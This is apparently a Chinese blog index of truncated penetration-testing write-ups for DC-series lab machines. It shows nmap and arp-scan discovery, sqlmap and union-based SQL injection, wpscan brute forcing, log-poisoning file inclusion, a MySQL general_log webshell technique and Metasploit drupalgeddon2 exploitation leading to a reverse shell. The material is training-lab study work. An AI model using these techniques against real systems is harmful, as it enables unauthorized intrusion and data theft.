ppbgi的博客

信息收集 nmap -sP 192.168.. 目标开放80端口，进行访问； 然后在进行目录的收集： 并没什么用。。。。。 在浏览网页时，发现有用户信息： 得到用户信息后，在查询功能处进行查询： 有错误的回显，可能存在SQL注入； 使用sqlmap进行验证： 获得数据库名；接着进行表和数据的获取： sqlmap.py -r C:\Users\Dell\Desktop\test.txt -p search -D users -tables sqlmap.py -r C:\User

信息收集 进行目标的IP查询 进行目标的访问 看到了SQL注入的注入点，进行尝试： union select group_concat(0x7e,table_name) from information_schema.tables where table_schema=database() 获取用户与密码； 获取交互式shell: 提权 进行脚本的使用： 参考文章：https://www.freesion.com/article/92351385482/

信息收集 nmap -sP 192.168.1.1-254 查看源码

进行信息收集 对目标进行ip扫描 arp-scan –interface eth0 192.168.1.0/24 进行目标的访问： 发现输入IP之后会跳到wordy，在本地和kali中的host文件中进行配置； 进行目标的目录收集： 在进行目标网页翻看时，看到是wordpress，使用 wpscan --url http://wordy/ -e wpscan --ignore-main-redirect --url 192.168.1.45 --enumerate u --for

进行信息收集 进行目标的ip扫描： arp-scan –interface eth0 192.168.1.0/24 进行目标开放端口的扫描： nmap -A 192.168.1.135 目标开放80端口，进行目标的访问： 在进行目标浏览的时候，发现存在一个留言板，进行留言： 留言之后，发现下方发生了变化！！ 在提交了留言之后，在url地址栏中可以看到，是GET方式，于是突发奇想，试试文件包含： 没想到竟然成功了！！！ 因为没有文件上传的点，所以在日志中看看能否利用日志来进行一

进行目标主机的ip扫描： namp -sP 192.168.1.1-254 进行开放端口的扫描： nmap -A 192.168.1.205 进行访问： 利用BP进行用户名与密码的爆破： 爆破后：用户名;admin 密码：happy

信息收集 进行ip的扫描以及开放端口的探测： 扫描到有80端口，进行访问： 尝试在phpstuday中能获得的信息，发现有输入框，尝试弱口令： 发现可以登录，进行目录后台的扫描： 发现有phpmyadmin目录,进行登录： 然后尝试写入一句话木马来获取shell： show variables like '%general%'; #查看日志状态 SET GLOBAL general_log='on' #开启general set global general

一、 进行DC3的配置 二、利用kali进行ip的扫描; 在进行开放端口的扫描： 开放端口只有80端口，而且之joomal cms； 在进行目录的扫描： 然后使用joomscan进行利用 joomscan安装与使用：https://www.freebuf.com/sectool/181440.html perl joomscan.pl ‐u http://192.168.1.166 同时也得到了joomal 版本与目录 然后利用joomla 3.7的漏洞； 发现Joomla版本号.

进行虚拟机的安装 参考文档：https://www.w3xue.com/exp/article/20212/69978.html 接下来开始操作 一、利用kali自带的nmap进行ip的扫描 在进行开放端口的扫描： 在本地的浏览器进行访问，成功！ 接下来进行目录的扫描： 进行敏感文件的查看，得到了drupal的版本，然后利用msf进行操作： 拿到shell之后，开始进行提权； 生成密码，在kali本地进行下载： 然后在靶机的操作界面中输入： python3 -c 'impo.

一、扫描ip地址 直接查看无法查看，所以在kali中的hosts中进行配置 二、 flag中提示用cewl，使用cewl生成字典进行爆破； 三、 使用wpscan进行当前用户的扫描： wpscan --url http://dc-2 wpscan --url http://dc-2/ -e 四、漏洞攻击 利用wpscan来进行密码的爆破；先将之前爆破的用户与之前在页面的flag作的密码结合进行爆破 touch username.txt vim username.txt wpsc.

一、使用kali中nmap进行ip扫描： 二、 三、进行robots文件的查看： 四 、进行敏感文件的查看，发现： 五、漏洞利用： 寻找Drupal 7.0版本并且进行漏洞利用； msfconsole search drupal use exploit/unix/webapp/drupal_drupalgeddon2 show options set rhost 192.168.1.119 run 反弹shell: 使用pyhton进行交互式反弹shell: python -c “i.